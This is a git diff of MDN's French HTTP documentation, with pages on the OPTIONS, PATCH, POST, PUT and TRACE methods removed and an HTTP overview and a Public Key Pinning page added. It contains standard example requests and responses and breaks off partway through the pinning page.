{{HTTPSidebar}}
- -

La méthode HTTP OPTIONS est utilisée pour décrire les options de communication pour la ressource ciblée. Le client peut renseigner une URL spécifique pour la méthode OPTIONS, ou une astérisque (*) pour interroger le serveur dans sa globalité.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsNon
Une réponse de succès a un corpsOui
{{Glossary("Sûre")}}Oui
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
- -

 

- -

Syntaxe

- -
OPTIONS /index.html HTTP/1.1
-OPTIONS * HTTP/1.1
-
- -

Examples

- -

Identifier les méthodes HTTP autorisées

- -

Pour déterminer les méthodes HTTP supportées par le serveur, on peut utiliser curl et envoyer une requête OPTIONS :

- -
curl -X OPTIONS http://example.org -i
- -

La réponse contient un en-tête {{HTTPHeader("Allow")}} qui liste les méthodes autorisées :

- -
HTTP/1.1 200 OK
-Allow: OPTIONS, GET, HEAD, POST
-Cache-Control: max-age=604800
-Date: Thu, 13 Oct 2016 11:45:00 GMT
-Expires: Thu, 20 Oct 2016 11:45:00 GMT
-Server: EOS (lax004/2813)
-x-ec-custom-error: 1
-Content-Length: 0
-
- -

Requête de pré-vérification cross-origin CORS

- -

En CORS, une requête de pré-vérification est envoyée avec la méthode OPTIONS afin que le serveur indique si la requête est acceptable avec les paramètres spécifiés. En tant qu'élément de la requête de pré-vérification, le header {{HTTPHeader("Access-Control-Request-Method")}} notifie le serveur que lorsque la véritable requête sera envoyée, ce sera avec une méthode POST. Le header {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que lorsque la vraie requête sera envoyée, elle aura les en-tête personnalisés X-PINGOTHER et Content-Type. Le serveur a maintenant la possibilité de déterminer s'il souhaite ou non accepter la requête dans les conditions énoncées par la requête de pré-vérification.

- -
OPTIONS /resources/post-here/ HTTP/1.1
-Host: bar.other
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Origin: http://foo.example
-Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
- -

Dans la réponse du serveur, l'en-tête {{HTTPHeader("Access-Control-Allow-Methods")}} indique que les méthodes POST, GET, and OPTIONS sont utilisables pour interroger la ressource.  Cet en-tête est similaire à {{HTTPHeader("Allow")}}, mais utilisé uniquement dans le contexte CORS.

- -
HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:39 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET, OPTIONS
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 0
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
- -

Spécifications

- - - - - - - - - - - - -
SpecificationTitle
{{RFC("7231", "OPTIONS", "4.3.7")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- - - -

{{Compat("http.methods.OPTIONS")}}

- -

Voir aussi

- -
    -
  • en-tête {{HTTPHeader("Allow")}}
    • -
  • CORS
    • -
diff --git "a/files/fr/web/http/m\303\251thode/patch/index.html" "b/files/fr/web/http/m\303\251thode/patch/index.html" deleted file mode 100644 index aca3dfe6d4..0000000000 --- "a/files/fr/web/http/m\303\251thode/patch/index.html" +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: PATCH -slug: Web/HTTP/Méthode/PATCH -translation_of: Web/HTTP/Methods/PATCH ---- -

La méthode PATCH d'une requête HTTP applique des modifications partielles à une ressource.

- -

La méthode HTTP {{HTTPMethod("PUT")}} est déjà définie pour écraser une ressource avec un nouveau corps complet de message, et pour la méthode HTTP {{HTTPMethod("POST")}}, il n'existe aucun moyen standard pour découvrir le support de format de patch. Tout comme POST, la méthode HTTP PATCH n'est pas listée comme étant idempotent, contrairement à PUT. Cela signifie que les requêtes patch identiques et successives auront des effets différents sur l'objet manipulé.

- -

Pour découvrir si un serveur supporte la méthode PATCH, un serveur peut annoncer son support en l'ajoutant à la liste des méthodes autorisées dans les headers de la réponse {{HTTPHeader ("Allow")}} ou encore {{HTTPHeader ("Access-Control-Allow-Methods")}} (pour CORS).

- -

Une autre indication (implicite) que la méthode PATCH est autorisée est la présence du header {{HTTPHeader("Accept-Patch")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête possède un corps de message (body)Oui
Une requête traitée avec succès retourne une réponse avec un corps de message (body)Non
{{Glossary("Safe")}}Non
{{Glossary("Idempotent")}}Non
{{Glossary("Cacheable")}}Non
Utilisation au sein des formulaires HTMLNon
- -

Syntaxe

- -
PATCH /file.txt HTTP/1.1
-
- -

Exemple

- -

Requête

- -
PATCH /file.txt HTTP/1.1
-Host: www.example.com
-Content-Type: application/example
-If-Match: "e0023aa4e"
-Content-Length: 100
-
-[description des changements]
- -

Réponse

- -

Une requête traitée avec succès retourne une réponse accompagnée d'un code de réponse {{HTTPStatus("204")}}. Dans ce cas-ci, la réponse ne contient un corps de message.

- -
HTTP/1.1 204 No Content
-Content-Location: /file.txt
-ETag: "e0023aa4f"
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("5789", "PATCH")}}Méthode PATCH pour HTTP (PATCH Method for HTTP)
- -

Voir aussi

- -
    -
  • {{HTTPStatus("204")}}
    • -
  • {{HTTPHeader("Allow")}}, {{HTTPHeader("Access-Control-Allow-Methods")}}
    • -
  • {{HTTPHeader("Accept-Patch")}} – spécifie les formats de document de patch acceptés par le serveur.
    • -
diff --git "a/files/fr/web/http/m\303\251thode/post/index.html" "b/files/fr/web/http/m\303\251thode/post/index.html" deleted file mode 100644 index e534246de7..0000000000 --- "a/files/fr/web/http/m\303\251thode/post/index.html" +++ /dev/null @@ -1,119 +0,0 @@ ---- -title: POST -slug: Web/HTTP/Méthode/POST -tags: - - HTTP - - Reference - - Request method -translation_of: Web/HTTP/Methods/POST ---- -
{{HTTPSidebar}}
- -

La méthode HTTP POST envoie des données au serveur. Le type du corps de la requête est indiqué par l'en-tête {{HTTPHeader("Content-Type")}}.

- -

La différence entre PUT et {{HTTPMethod("POST")}} tient au fait que PUT est une méthode idempotente. Une requête PUT, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet de bord). À l'inverse, des requêtes POST successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.

- -

Une requête POST est habituellement envoyée via un formulaire HTML et a pour résultat un changement sur le serveur. Dans ce cas, le type du contenu est sélectionné en mettant la chaîne de caractères adéquate dans l'attribut {{htmlattrxref("enctype", "form")}} de l'élément {{HTMLElement("form")}} ou dans l'attribut {{htmlattrxref("formenctype", "input")}} de l'élément {{HTMLElement("input") }}, voir celui des éléments {{HTMLElement("button")}} :

- -
    -
  • application/x-www-form-urlencoded : les valeurs sont encodées sous forme de couples clé-valeur séparés par '&', avec un '=' entre la clé et la valeur. Les caractères non alphanumériques sont {{glossary("percent encoded")}} : c'est la raison pour laquelle ce type de format n'est pas adapté à une utilisation avec des données binaires  (utilisez multipart/form-data à la place)
    • -
  • multipart/form-data
    • -
  • text/plain
    • -
- -

Lorsque la requête POST est envoyée par un autre moyen qu'un formulaire HTML, par exemple via {{domxref("XMLHttpRequest")}}, le corps peut être de n'importe quel type. Comme décrit dans la spécification HTTP 1.1, la méthode POST est conçue pour permettre une méthode uniforme couvrant les fonctions suivantes :

- -
    -
  • Annotation de ressources existantes
    • -
  • Publication d'un message sur un tableau d'affichage, un groupe de discussion, une liste de diffusion, ou un groupe similaire d'articles;
    • -
  • Apport d'un bloc de données, tel que le résultat produit par la soumission d'un formulaire, à un processus de traitement de données;
    • -
  • Extension d'une base de données au travers d'une opération d'ajout.
    • -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsOui
Une réponse inclut un corpsOui
{{Glossary("Safe","Sûre")}}Non
{{Glossary("Idempotent","Idempotente")}}Non
{{Glossary("Cacheable","Peut être mise en cache")}}Seulement si une information de péremption est incluse
Autorisée dans les  formulaires HTMLOui
- -

Syntaxe

- -
POST /index.html
-
- -

Exemple

- -

Un formulaire simple utilisant le type de contenu par défaut application/x-www-form-urlencoded :

- -
POST / HTTP/1.1
-Host: foo.com
-Content-Type: application/x-www-form-urlencoded
-Content-Length: 13
-
-say=Hi&to=Mom
- -

Un formulaire utilisant le type de contenu multipart/form-data :

- -
POST /test.html HTTP/1.1
-Host: example.org
-Content-Type: multipart/form-data;boundary="boundary"
-
---boundary
-Content-Disposition: form-data; name="field1"
-
-value1
---boundary
-Content-Disposition: form-data; name="field2"; filename="example.txt"
-
-value2
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "POST", "4.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- - - -

{{Compat("http.methods.POST")}}

- -

Voir aussi

- -
    -
  • {{HTTPHeader("Content-Type")}}
    • -
  • {{HTTPHeader("Content-Disposition")}}
    • -
diff --git "a/files/fr/web/http/m\303\251thode/put/index.html" "b/files/fr/web/http/m\303\251thode/put/index.html" deleted file mode 100644 index d6e7dbeeb7..0000000000 --- "a/files/fr/web/http/m\303\251thode/put/index.html" +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: PUT -slug: Web/HTTP/Méthode/PUT -tags: - - HTTP - - HTTP method - - Reference - - Request method -translation_of: Web/HTTP/Methods/PUT ---- -
{{HTTPSidebar}}
- -

La méthode HTTP PUT crée une nouvelle ressource ou remplace une représentation de la ressource ciblée par le contenu de la requête.

- -

La différence entre PUT et POST tient au fait que PUT est une méthode idempotente. Une requête PUT, envoyée une ou plusieurs fois avec succès, aura toujours le même effet (il n'y a pas d'effet de bord). À l'inverse, des requêtes POST successives et identiques peuvent avoir des effets additionnels, ce qui peut revenir par exemple à passer plusieurs fois une commande.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La requête a un corpsOui
Une réponse de succès a un corpsNon
{{Glossary("Sûre")}}Non
{{Glossary("Idempotente")}}Oui
{{Glossary("Peut être mise en cache")}}Non
Autorisée dans les  formulaires HTMLNon
- -

Syntaxe

- -
PUT /new.html HTTP/1.1
-
- -

Exemple

- -

Requête

- -
PUT /new.html HTTP/1.1
-Host: example.com
-Content-type: text/html
-Content-length: 16
-
-<p>New File</p>
- -

Réponses

- -

Si la ressource ciblée ne possède pas de représentation courante et que la requête PUT en crée une avec succès, alors le serveur d'origine doit informer l'agent utilisateur en envoyant une réponse{{HTTPStatus("201")}} (Created).

- -
HTTP/1.1 201 Created
-Content-Location: /new.html
- -

Si la ressource ciblée a déjà une représentation et que cette représentation est modifiée avec succès, conformément à l'état de la représentation jointe, alors le serveur d'origine doit envoyer une réponse, que ce soit {{HTTPStatus("200")}} (OK) ou {{HTTPStatus("204")}} (No Content), pour indiquer la réussite de la requête.

- -
HTTP/1.1 204 No Content
-Content-Location: /existing.html
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "PUT", "4.3.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Voir aussi

- -
    -
  • {{HTTPStatus("201")}}
    • -
  • {{HTTPStatus("204")}}
    • -
diff --git "a/files/fr/web/http/m\303\251thode/trace/index.html" "b/files/fr/web/http/m\303\251thode/trace/index.html" deleted file mode 100644 index cc58e561ca..0000000000 --- "a/files/fr/web/http/m\303\251thode/trace/index.html" +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: TRACE -slug: Web/HTTP/Méthode/TRACE -tags: - - HTTP - - Reference - - requête -translation_of: Web/HTTP/Methods/TRACE ---- -
{{HTTPSidebar}}
- -

La méthode HTTP TRACE effectue un test de rebouclage des messages le long du chemin vers la ressource cible, fournissant ainsi un mécanisme de débogage utile.

- -

Le destinataire final de la demande doit renvoyer au client le message reçu, à l'exclusion de certains champs décrits ci-dessous, en tant que corps de message d'une réponse {{HTTPStatus("200")}}. (OK) avec un {{HTTPHeader("Content-Type")}} de message/http. Le destinataire final est soit le serveur d'origine, soit le premier serveur à recevoir une valeur {{HTTPHeader("Max-Forwards")}} de 0 dans la requête.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
La demande a un corpsNon
Une réponse réussie a un corpsNon
{{Glossary("Safe")}}Non
{{Glossary("Idempotent")}}Oui
{{Glossary("Cacheable")}}Non
Autorisé dans les formulaires HTMLNon
- -

Syntaxe

- -
TRACE /index.html
-
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationTitle
{{RFC("7231", "TRACE", "4.3.8")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilité des navigateurs

- - - -

{{Compat("http.methods.TRACE")}}

- -

Voir également

- - diff --git a/files/fr/web/http/overview/index.html b/files/fr/web/http/overview/index.html new file mode 100644 index 0000000000..33d2758ec2 --- /dev/null +++ b/files/fr/web/http/overview/index.html @@ -0,0 +1,178 @@ +--- +title: Un aperçu de HTTP +slug: Web/HTTP/Aperçu +tags: + - Aperçu + - HTML + - HTTP + - WebMechanics +translation_of: Web/HTTP/Overview +--- +
{{HTTPSidebar}}
+ +

HTTP est un {{glossary("protocole")}} qui permet de récupérer des ressources telles que des documents HTML. Il est à la base de tout échange de données sur le Web. C'est un protocole de type client-serveur, ce qui signifie que les requêtes sont initiées par le destinataire (qui est généralement un navigateur web). Un document complet est construit à partir de différents sous-documents qui sont récupérés, par exemple du texte, des descriptions de mise en page, des images, des vidéos, des scripts et bien plus.

+ +

Un document web se compose de différentes ressources

+ +

Les clients et serveurs communiquent par l'échange de messages individuels (en opposition à un flux de données). Les messages envoyés par le client, généralement un navigateur web, sont appelés des requêtes et les messages renvoyés par le serveur sont appelés réponses.

+ +

HTTP est un protocole de la couche d'application fonctionnant au-dessus de TCP (pour la couche de transport) et IP (pour la couche réseau). HTTP est en dessous de la couche de présentation. Conçu au début des années 1990, HTTP est un protocole extensible qui a évolué au cours du temps. C'est un protocole de la couche application dont les données transitent via {{glossary("TCP")}} ou à travers une connexion TCP chiffrée avec {{glossary("TLS")}}. En théorie, tout protocole de transport fiable pourrait être utilisé. En raison de son extensibilité, il n'est pas seulement utilisé pour récupérer des documents, mais aussi pour des images, des vidéos ou bien pour renvoyer des contenus vers des serveurs, comme des résultats de formulaires HTML. HTTP peut aussi être utilisé pour récupérer des parties de documents pour mettre à jour à la demande des pages web.

+ +

Composants des systèmes basés sur HTTP

+ +

HTTP est un protocole client-serveur : les requêtes sont envoyées par une entité : l'agent utilisateur (ou le proxy qui agit au nom de celui-ci). La majorité du temps, l'agent utilisateur est un navigateur web, mais cela peut-être n'importe quoi, un robot qui analyse le Web pour remplir et maintenir l'index d'un moteur de recherche est un exemple d'agent utilisateur.

+ +

Chaque requête individuelle est envoyée au serveur, qui la traite et fournit une réponse. Entre cette requête et la réponse se trouve de nombreuses entités qu'on désignera de façon générique sous le terme {{glossary("Proxy", "proxies")}}. Celles-ci exécutent différentes opérations et agissent comme passerelles ou comme {{glossary("Cache", "caches")}} par exemple.

+ +

chaîne client serveur

+ +

En réalité, il y a plus d'un ordinateur entre un navigateur et le serveur qui traite la requête : il y a les routeurs, les modems et bien plus. Grâce à la construction en couche du Web, ces intermédiaires sont cachés dans les couches réseau et transport. HTTP est bâti sur la couche applicative. Bien qu'elles puissent s'avérer importantes lorsqu'il s'agit de diagnostiquer des problèmes réseau, les couches inférieures ne sont pas pertinentes ici pour décrire HTTP.

+ +

Le client : l'agent  utilisateur

+ +

L'agent utilisateur correspond à n'importe quel outil qui agit pour le compte de l'utilisateur. Ce rôle est principalement rempli par le navigateur web ; les exceptions étant les programmes utilisés par des ingénieurs et développeurs web pour le débogage de leurs applications.

+ +

Le navigateur est toujours celui qui initie la requête. Il ne s'agit jamais du serveur (bien que certains mécanismes aient été ajoutés au cours des années afin de simuler les messages initiés par un serveur).

+ +

Pour afficher une page web, le navigateur envoie une requête initiale pour récupérer le document HTML depuis la page. Ensuite, il analyse le fichier et récupère les requêtes additionnelles qui correspondent aux scripts, aux informations de mise en page (CSS) et les sous-ressources contenues dans la page (généralement des images et des vidéos). Le navigateur web assemble alors ces ressources pour présenter un document complet à l'utilisateur : c'est la page web. Les scripts exécutés par le navigateur peuvent permettre de récupérer plus de ressources par la suite afin de mettre à jour la page web.

+ +

Une page web est un document hypertexte. Cela signifie que certaines parties sont des liens qui peuvent être activés (généralement avec un clic de souris) afin de récupérer une nouvelle page web, permettant à l'utilisateur de diriger son agent utilisateur et de naviguer sur le Web. Le navigateur traduit ces instructions en requêtes HTTP et interprète les réponses HTTP pour présenter une réponse claire à l'utilisateur.

+ +

Le serveur web

+ +

De l'autre côté du canal de communication, on trouve le serveur qui sert le document demandé par le client. Bien qu'on présente virtuellement le serveur comme un seul ordinateur, en réalité, il peut s'agir d'un ensemble de serveurs se répartissant la charge (load balancing) ou d'une architecture logicielle complexe qui interroge d'autres serveurs (par exemple un cache, un serveur de base de données, serveur d'e-commerce…), qui génèrent totalement ou partiellement le document à la demande.

+ +

D'une part, un serveur n'est pas nécessairement une machine unique et d'autre part, plusieurs serveurs peuvent être hébergés sur une même machine. Avec HTTP/1.1 et l'en-tête {{HTTPHeader("Host")}}, ils peuvent également partager la même adresse IP.

+ +

Les proxys

+ +

Entre le navigateur Web et le serveur, de nombreux ordinateurs et machines relaient les messages HTTP. En raison de la structure en couches superposées des technologies web, la plupart des opérations  au niveau du transport, du réseau ou au niveau physique sont transparents pour la couche HTTP, ce qui peut avoir un impact significatif sur les performances. Les opérations au niveau de la couche applicative sont généralement appelées proxy. Ceux-ci peuvent être transparents ou non (en changeant les requêtes qui passent par eux), et peuvent effectuer de nombreuses tâches :

+ +
    +
  • mettre en cache (le cache peut alors être public ou privé, comme le cache du navigateur)
    • +
  • filtrer (comme un antivirus, contrôle parental…)
    • +
  • répartir la charge (pour permettre à de multiples serveurs de servir différentes requêtes)
    • +
  • authentifier (pour contrôler l'accès à différentes ressources)
    • +
  • effectuer la journalisation (permettant le stockage des informations d'historiques)
    • +
+ +

Principaux aspects d'HTTP

+ +

HTTP est simple

+ +

Même s'il est devenu plus complexe avec l'arrivée d'HTTP/2 et l'encapsulation des messages HTTP dans des trames, HTTP est généralement conçu pour être simple et lisible par un humain. Les messages HTTP peuvent être lus et compris par des humains, ce qui facilite les tests des développeurs et réduit la complexité pour les débutants.

+ +

HTTP est extensible

+ +

À partir de HTTP/1.0, les en-têtes HTTP permettent d'étendre facilement le protocole et de mener des expérimentations avec celui-ci. De nouvelles fonctionnalités peuvent même être introduites par un simple accord entre le client et le serveur à propos de la sémantique des nouveaux en-têtes.

+ +

HTTP est sans état, mais pas sans session

+ +

HTTP est sans état : il n'y a pas de lien entre deux requêtes qui sont effectuées successivement sur la même connexion. Cela devient très rapidement problématique lorsque les utilisateurs veulent interagir avec une page de façon cohérente, par exemple avec un panier d'achat sur un site de commerce en ligne. Bien que le cœur d'HTTP soit sans état, les cookies HTTP permettent l'utilisation de sessions avec des états. En utilisant l'extensibilité par les en-têtes, des cookies HTTP sont ajoutés aux flux et permettent la création d'une session sur chaque requête HTTP pour partager un même contexte, ou un même état.

+ +

HTTP et les connexions

+ +

Une connexion est contrôlée au niveau de la couche transport et est donc fondamentalement hors de portée d'HTTP. Bien que HTTP ne nécessite pas un protocole de transport basé sur une connexion. Le protocole doit être fiable ou empêcher la perte de messages (donc gérer au minimum la remontée des erreurs). Parmi les deux protocoles de transport les plus courants sur Internet, TCP est fiable et UDP ne l'est pas. HTTP s'appuie sur le standard TCP, qui est basé sur la connexion, même si une connexion n'est pas toujours nécessaire.

+ +

HTTP/1.0 ouvre une connexion TCP pour chaque échange requête/réponse, ce qui introduit deux défauts majeur : l'ouverture d'une connexion nécessite plusieurs allers-retours, ce qui est lent mais devient plus efficace lorsque plusieurs messages sont envoyés et envoyés régulièrement. On dit aussi que les connexions qui restent chaudes sont plus efficaces que les communications froides.

+ +

Afin de réduire ces défauts, HTTP/1.1 introduit le pipelining (qui s'est avéré difficile à mettre en œuvre) et les connexions persistantes : la connexion TCP sous-jacente peut être partiellement contrôlée en utilisant l'en-tête {{HTTPHeader("Connection")}}. HTTP/2 va plus loin en multiplexant des messages sur une seule connexion, ce qui aide à maintenir la connexion chaude et plus efficace

+ +

Des expérimentations sont en cours afin de concevoir un protocole de transport plus adapté pour HTTP. Par exemple, Google expérimente QUIC, construit sur UDP pour fournir un protocole de transport plus fiable et efficace.

+ +

Ce qui peut être contrôlé par HTTP

+ +

Au fil du temps, la nature extensible de HTTP a permis de mieux contrôler le Web et d'y ajouter de nouvelles fonctionnalités. Les méthodes de cache ou d'authentification sont des fonctions qui furent gérées dès le début de HTTP tandis que la possibilité de lever la contrainte d'unicité de l'origine ne fut introduite qu'à partir des années 2010.

+ +

Voici une liste de fonctionnalités courantes, qui peuvent être contrôlées grâce à HTTP.

+ +
    +
  • Cache
    + La façon dont les documents sont mis en cache peut être contrôlée par HTTP. Le serveur peut indiquer aux proxys et aux clients ce qu'ils doivent mettre en cache et pour combien de temps. Le client peut indiquer aux proxys de cache intermédiaires d'ignorer le document qui est stocké.
    • +
  • Lever la contrainte d'origine unique
    + Pour éviter l'espionnage et d'autres invasions dans la vie privée, les navigateurs web imposent une séparation stricte entre les sites web. Seules les pages de la même {{Glossary("origine")}} peuvent accéder à toutes les informations d'une page web. Bien que cette contrainte soit un fardeau pour le serveur, les en-têtes HTTP peuvent assouplir cette séparation stricte du côté serveur, en permettant à un document de devenir un patchwork d'informations en provenance de différents domaines (il existe même des raisons de sécurité de procéder ainsi).
    • +
  • Authentification
    + Certaines pages peuvent être protégées de sorte que seuls certains utilisateurs puissent y accéder. Une authentification simple peut être fournie par HTTP, soit en utilisant l'en-tête {{HTTPHeader ("WWW-Authenticate")}} et des en-têtes similaires, soit en définissant une session spécifique grâce à des cookies HTTP.
    • +
  • Proxys et tunnels
    + Les serveurs et/ou les clients sont souvent situés sur des intranets et cachent leur véritable adresse IP à d'autres. Les requêtes HTTP passent ensuite par des proxys pour traverser cette barrière de réseau. Tous les proxys ne sont pas des proxys HTTP. Le protocole SOCKS, par exemple, fonctionne à un niveau inférieur. D'autres, comme FTP, peuvent être manipulés par ces proxys.
    • +
  • Sessions
    + L'utilisation de cookies HTTP permet de lier les requêtes à l'état du serveur. Cela crée des sessions, malgré le fait que HTTP soit, au sens strict, un protocole sans état. Ceci est utile non seulement pour les paniers de commerce électronique en ligne, mais aussi pour tout site permettant une configuration de l'utilisateur.
    • +
+ +

Flux HTTP

+ +

Lorsqu'un client veut communiquer avec un serveur, que ce soit avec un serveur final ou un proxy intermédiaire, il réalise les étapes suivantes :

+ +
    +
  1. Il ouvre une connexion TCP : la connexion TCP va être utilisée pour envoyer une ou plusieurs requêtes et pour recevoir une réponse. Le client peut ouvrir une nouvelle connexion, réutiliser une connexion existante ou ouvrir plusieurs connexions TCP vers le serveur.
    2. +
  2. Il envoie un message HTTP : les messages HTTP (avant HTTP/2) sont lisibles par les humains. Avec HTTP/2, ces simples messages sont en-capsulés dans des trames, rendant la lecture directe impossible, mais le principe reste le même. + 
    GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
    +
    3. +
  3. Il lit la réponse envoyée par le serveur : + 
    HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+<!DOCTYPE html... (suivi des 29769 octets de la page web demandée)
    +
    4. +
  4. Il ferme ou réutilise la connexion pour les requêtes suivantes.
    5. +
+ +

Si le pipeline HTTP est activé, plusieurs demandes peuvent être envoyées sans attendre que la première réponse soit entièrement reçue. Le pipeline HTTP s'est révélé difficile à implémenter dans les réseaux existants où de vieux logiciels coexistent avec des versions modernes. Le pipeline HTTP a été remplacé dans HTTP/2 par des requêtes de multiplexage plus robustes dans les trames.

+ +

Les messages HTTP

+ +

Les messages HTTP/1.1 et ceux des versions précédentes d'HTTP sont lisibles par des humains. Avec HTTP/2, ces messages sont intégrés dans une nouvelle structure binaire, une trame, ce qui permet des optimisations telles que la compression des en-têtes et le multiplexage. Même si seule une partie du message HTTP d'origine est envoyée dans cette version d'HTTP, la sémantique de chaque message est inchangée et le client reconstitue (virtuellement) la requête HTTP/1.1 d'origine. Il est donc utile de comprendre les messages HTTP/2 au format HTTP/1.1.

+ +

Il existe deux types de messages HTTP, les requêtes et les réponses, chacun ayant son propre format.

+ +

Requêtes

+ +

Un exemple de requête HTTP :

+ +

Une requête HTTP basique

+ +

Une requête comprend les éléments suivants :

+ +
    +
  • Une méthode HTTP : généralement un verbe tel que {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} ou un nom comme {{HTTPMethod("OPTIONS")}} ou {{HTTPMethod("HEAD")}} qui définit l'opération que le client souhaite effectuer. Par exemple, un client souhaite accéder à une ressource (en utilisant GET) ou téléverser le résultat d'un formulaire HTML (en utilisant POST), bien que d'autres opérations puissent être nécessaires dans d'autres cas.
    • +
  • Le chemin de la ressource à extraire : l'URL de la ressource à laquelle on a retiré les éléments déductibles du contexte, par exemple le {{glossary ("protocole")}} (http://), le {{glossary ("domaine")}} (ici .mozilla.org), ou le {{glossary ("port")}} TCP (ici 80).
    • +
  • La version du protocole HTTP.
    • +
  • Les en-têtes optionnels qui transmettent des informations supplémentaires pour les serveurs.
    • +
  • Ou un corps, pour certaines méthodes comme POST, semblable à ceux dans les réponses, qui contiennent la ressource envoyée.
    • +
+ +

Réponses

+ +

Un exemple de réponse :

+ +

une réponse HTTP

+ +

Une réponse comprend les éléments suivants:

+ +
    +
  • La version du protocole HTTP qu'elle suit
    • +
  • Un code de statut, qui indique si la requête a réussi ou non.
    • +
  • Un message de statut qui est une description rapide, informelle, du code de statut
    • +
  • Les en-têtes HTTP, comme pour les requêtes.
    • +
  • Éventuellement un corps contenant la ressource récupérée.
    • +
+ +

Les APIs basées sur HTTP

+ +

L'API la plus utilisée se basant sur HTTP est l'API {{domxref("XMLHttpRequest")}} qui permet d'échanger des données entre un agent utilisateur {{Glossary("user agent")}} et un serveur.

+ +

Une autre API, server-sent events, est un service unidirectionnel permettant à un serveur d'envoyer des notifications au client, en se basant sur le protocole HTTP. À l'aide de l'utilisation de l'interface {{domxref("EventSource")}}, le client ouvre une connexion et initie un gestionnaire d'évènements. Le navigateur convertit alors automatiquement les messages du flux HTTP en objets de type {{domxref("Event")}}, pour ensuite les déléguer au gestionnaire d'évènements qui se sont abonnés à ce {{domxref("Event.type", "type")}} d'évènement. Dans le cas où le type est inconnu ou si aucun gestionnaire typé n'a été défini, ils sont délivrés au gestionnaire d'évènements {{domxref("EventSource.onmessage", "onmessage")}}.

+ +

Conclusion

+ +

HTTP est un protocole extensible, facile d'utilisation. La structure client-serveur, combinée avec la possibilité d'ajouter simplement des en-têtes, permet à HTTP de progresser au fur et mesure de l'ajout de nouvelles fonctionnalités sur le Web.

+ +

Bien que HTTP/2 ajoute de la complexité, en englobant les messages HTTP dans des trames pour améliorer les performances, la structure de base des messages est restée la même depuis HTTP/1.0. Le flux de session reste simple, ce qui lui permet d'être étudié et débogué avec un simple moniteur de message HTTP.

diff --git a/files/fr/web/http/public_key_pinning/index.html b/files/fr/web/http/public_key_pinning/index.html new file mode 100644 index 0000000000..287455b2e0 --- /dev/null +++ b/files/fr/web/http/public_key_pinning/index.html @@ -0,0 +1,170 @@ +--- +title: Public Key Pinning +slug: Web/Security/Public_Key_Pinning +tags: + - HTTPS + - Référence(2) + - Sécurité +translation_of: Web/HTTP/Public_Key_Pinning +--- +

L'extention Public Key Pinning pour HTTP (HPKP) est une fonctionnalité de sécurité qui dit au client web d'associer une clé publique cryptographique avec un certain serveur web pour éviter les attaques MITM avec des certificats contrefaits.

+ +
+

Note : La Public Key Pinning décrite ici est différente du limité preload list based key pinning introduit dans Firefox 32.

+
+ +

Pour s'assurer de l’authenticité de la clé publique du serveur utilisé dans une session TLS, cette clé publique est enveloppée dans un certificat X.509 qui est généralement signé par une autorité de certifications (CA, pour Certificate Authority). Les clients web tels que les navigateurs font confiance à beaucoup de ces autorités de certifications, et chacune d'entre elles peut créer des certificats pour des domaines arbitraires. Si un attaquant est capable de compromettre une seule de ces CA, il peut pratiquer des attaques {{Glossary("MitM")}} sur diverses connections TLS. HPKP peut contourner cette menace pour le protocole HTTPS en disant au client web quelles clés publiques appartiennent à un certain serveur web.

+ +

HPKP est une technique qui s'appuie sur la confiance au premier accès (TOFU, Trust on First Use). La première fois un serveur web dit au client en utilisant l'en-tête HTTP HPKP quelles clés publiques lui appartiennent, le client sauvegarde cette information pour une période de temps donnée. Quand le client visite le serveur à nouveau, il s'attend à un certificat contenant une clé publique dont l'empreinte est sauvegardée. Si le serveur présente une clé publique inconnue, le client doit présenter un avertissement à l'utilisateur.

+ +

Firefox (and Chrome) désactivent la vérification de l'épinglage lorsqu'un site épinglé présentent une chaine de certificats qui se termine par un certificat racine installé par l'utilisateur (et non un certificat racine de base).

+ +

Activer HPKP

+ +

Activer cette fonctionnalité pour votre site est simple : il faut juste retourner l'en tête HTTP Public-Key-Pins HTTP quand le site est accédé via HTTPS :

+ +
Public-Key-Pins: pin-sha256="base64=="; max-age=expireTime [; includeSubdomains][; report-uri="reportURI"]
+
+ +
+
pin-sha256
+
